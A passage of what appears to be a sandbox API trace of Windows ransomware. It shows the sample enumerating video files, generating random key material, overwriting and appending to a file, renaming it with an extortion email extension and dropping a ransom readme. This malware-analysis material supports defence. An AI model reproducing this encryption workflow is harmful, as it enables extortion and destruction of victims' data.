lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x136a3340, ftCreationTime.dwHighDateTime=0x1d4d121, ftLastAccessTime.dwLowDateTime=0x4b31e0b0, ftLastAccessTime.dwHighDateTime=0x1d4d1db, ftLastWriteTime.dwLowDateTime=0x4b31e0b0, ftLastWriteTime.dwHighDateTime=0x1d4d1db, nFileSizeHigh=0x0, nFileSizeLow=0x1606e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SjKws_-fQth hUHczK.avi", cAlternateFileName="SJKWS_~1.AVI")) returned 1 [0072.623] wcscmp (_String1="SjKws_-fQth hUHczK.avi", _String2=".") returned 1 [0072.623] wcscmp (_String1="SjKws_-fQth hUHczK.avi", _String2="..") returned 1 [0072.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x341da40 [0072.623] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.623] wcscat (in: _Dest=0x341da40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.623] wcscat (in: _Dest=0x341da40, _Source="SjKws_-fQth hUHczK.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi" [0072.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341da40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0072.624] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9829e70, ftCreationTime.dwHighDateTime=0x1d4d170, ftLastAccessTime.dwLowDateTime=0x81be1d10, ftLastAccessTime.dwHighDateTime=0x1d4d186, ftLastWriteTime.dwLowDateTime=0x81be1d10, ftLastWriteTime.dwHighDateTime=0x1d4d186, nFileSizeHigh=0x0, nFileSizeLow=0x62ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2AV.mp4", cAlternateFileName="")) returned 1 [0072.624] wcscmp (_String1="t2AV.mp4", _String2=".") returned 1 [0072.624] wcscmp (_String1="t2AV.mp4", _String2="..") returned 1 [0072.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb3b0 [0072.624] wcscpy (in: _Dest=0x33eb3b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.624] wcscat (in: _Dest=0x33eb3b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.624] wcscat (in: _Dest=0x33eb3b0, _Source="t2AV.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4" [0072.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0072.625] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x763c1730, ftCreationTime.dwHighDateTime=0x1d4c7b3, ftLastAccessTime.dwLowDateTime=0x8a15e960, ftLastAccessTime.dwHighDateTime=0x1d4cd95, ftLastWriteTime.dwLowDateTime=0x8a15e960, ftLastWriteTime.dwHighDateTime=0x1d4cd95, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPo011NEowAs8Sxm.avi", cAlternateFileName="VPO011~1.AVI")) returned 1 [0072.625] wcscmp (_String1="VPo011NEowAs8Sxm.avi", _String2=".") returned 1 [0072.625] wcscmp (_String1="VPo011NEowAs8Sxm.avi", _String2="..") returned 1 [0072.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3988 [0072.625] wcscpy (in: _Dest=0x33e3988, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0072.625] wcscat (in: _Dest=0x33e3988, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0072.625] wcscat (in: _Dest=0x33e3988, _Source="VPo011NEowAs8Sxm.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi" [0072.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0072.626] FindNextFileW (in: hFindFile=0x34346e8, lpFindFileData=0x3477c70 | out: lpFindFileData=0x3477c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x763c1730, ftCreationTime.dwHighDateTime=0x1d4c7b3, ftLastAccessTime.dwLowDateTime=0x8a15e960, ftLastAccessTime.dwHighDateTime=0x1d4cd95, ftLastWriteTime.dwLowDateTime=0x8a15e960, ftLastWriteTime.dwHighDateTime=0x1d4cd95, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPo011NEowAs8Sxm.avi", cAlternateFileName="VPO011~1.AVI")) returned 0 [0072.626] FindClose (in: hFindFile=0x34346e8 | out: hFindFile=0x34346e8) returned 1 [0072.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3477c70) returned 1 [0072.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0072.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2f00) returned 1 [0072.626] RtlExitUserThread (Status=0x0) Thread: id = 579 os_tid = 0x11b8 [0073.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34276e8 [0073.211] wcscpy (in: _Dest=0x34276e8, _Source="C:\\Users\\All Users\\Microsoft OneDrive\\setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup" [0073.211] wcscat (in: _Dest=0x34276e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\" [0073.211] wcscat (in: _Dest=0x34276e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*" [0073.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342db30 [0073.211] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d28 [0073.211] wcscmp (_String1=".", _String2=".") returned 0 [0073.211] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.211] wcscmp (_String1="..", _String2=".") returned 1 [0073.211] wcscmp (_String1="..", _String2="..") returned 0 [0073.212] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0073.212] wcscmp (_String1="refcount.ini", _String2=".") returned 1 [0073.212] wcscmp (_String1="refcount.ini", _String2="..") returned 1 [0073.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd6f0 [0073.214] wcscpy (in: _Dest=0x33cd6f0, _Source="C:\\Users\\All Users\\Microsoft OneDrive\\setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup" [0073.214] wcscat (in: _Dest=0x33cd6f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\" [0073.214] wcscat (in: _Dest=0x33cd6f0, _Source="refcount.ini" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" [0076.629] Sleep (dwMilliseconds=0x1) [0077.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0077.872] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 0 [0077.872] FindClose (in: hFindFile=0x3433d28 | out: hFindFile=0x3433d28) returned 1 [0077.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db30) returned 1 [0077.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34276e8) returned 1 [0077.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481e58) returned 1 [0077.873] RtlExitUserThread (Status=0x0) Thread: id = 580 os_tid = 0x11bc [0073.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv")) returned 0x20 [0073.215] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv", dwFileAttributes=0x20) returned 1 [0073.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x918 [0073.215] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x16fbfd78 | out: lpFileSize=0x16fbfd78*=66733) returned 1 [0073.215] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x104a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.215] ReadFile (in: hFile=0x918, lpBuffer=0x16fbfd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x16fbfd4c*, lpNumberOfBytesRead=0x16fbfd48*=0x4, lpOverlapped=0x0) returned 1 [0073.216] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0073.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.216] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0073.216] NtQuerySystemTime (in: CurrentTime=0x16fbfd24 | out: CurrentTime=0x16fbfd24*=132121176311148507) returned 0x0 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xa78a8030 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x8683c7eb [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x5134a2cd [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xc694fb08 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xc3675259 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xfd258f49 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xc49d5ae3 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xda748c3 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x82d4006e [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xca5e2821 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xdc971b97 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xec6f822c [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x9a99b63a [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x406cd595 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x4d5b0393 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xee6747b [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xe633bc36 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x30d3b0eb [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x8132ad17 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xf1f2891a [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x9b15a8ce [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x254149d8 [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x6159102c [0073.216] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x48acfc97 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xf6c0d492 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xd8c4ebb8 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xa60a570b [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x5d14f0f6 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xef7afb27 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xa8837222 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0x93140f77 [0073.217] RtlRandom (in: Seed=0x16fbfd30 | out: Seed=0x16fbfd30) returned 0xac0774ff [0073.229] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.229] ReadFile (in: hFile=0x918, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x16fbfcfc, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x16fbfcfc*=0x4096, lpOverlapped=0x0) returned 1 [0073.229] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0073.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e668 [0073.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0073.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e668 [0073.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0073.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0073.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0073.230] WriteFile (in: hFile=0x918, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x16fbfcfc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x16fbfcfc*=0x4096, lpOverlapped=0x0) returned 1 [0073.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.230] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x104ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.230] WriteFile (in: hFile=0x918, lpBuffer=0x341e668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16fbfd34, lpOverlapped=0x0 | out: lpBuffer=0x341e668*, lpNumberOfBytesWritten=0x16fbfd34*=0x20, lpOverlapped=0x0) returned 1 [0073.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0073.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.231] WriteFile (in: hFile=0x918, lpBuffer=0x341e640*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x341e640*, lpNumberOfBytesWritten=0x16fbfd48*=0x8, lpOverlapped=0x0) returned 1 [0073.231] WriteFile (in: hFile=0x918, lpBuffer=0x16fbfd60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x16fbfd60*, lpNumberOfBytesWritten=0x16fbfd48*=0x4, lpOverlapped=0x0) returned 1 [0073.231] WriteFile (in: hFile=0x918, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x16fbfd48*=0x4, lpOverlapped=0x0) returned 1 [0073.231] WriteFile (in: hFile=0x918, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x16fbfd48*=0x6c, lpOverlapped=0x0) returned 1 [0073.231] WriteFile (in: hFile=0x918, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x16fbfd48*=0x20, lpOverlapped=0x0) returned 1 [0073.231] WriteFile (in: hFile=0x918, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16fbfd48, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x16fbfd48*=0x4, lpOverlapped=0x0) returned 1 [0073.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0073.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0073.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e640) returned 1 [0073.231] CloseHandle (hObject=0x918) returned 1 [0073.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x33e5220 [0073.232] wcscpy (in: _Dest=0x33e5220, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv" [0073.232] wcscat (in: _Dest=0x33e5220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" [0073.232] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.233] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.233] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5220) returned 1 [0073.233] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv", dwFileAttributes=0x20) returned 0 [0073.233] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429330 [0073.233] wcscpy (in: _Dest=0x3429330, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.233] wcscat (in: _Dest=0x3429330, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.233] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0xffffffff [0073.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x918 [0073.234] WriteFile (in: hFile=0x918, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x16fbfd44, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x16fbfd44*=0x481, lpOverlapped=0x0) returned 1 [0073.235] CloseHandle (hObject=0x918) returned 1 [0073.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429330) returned 1 [0073.235] RtlFreeHeap 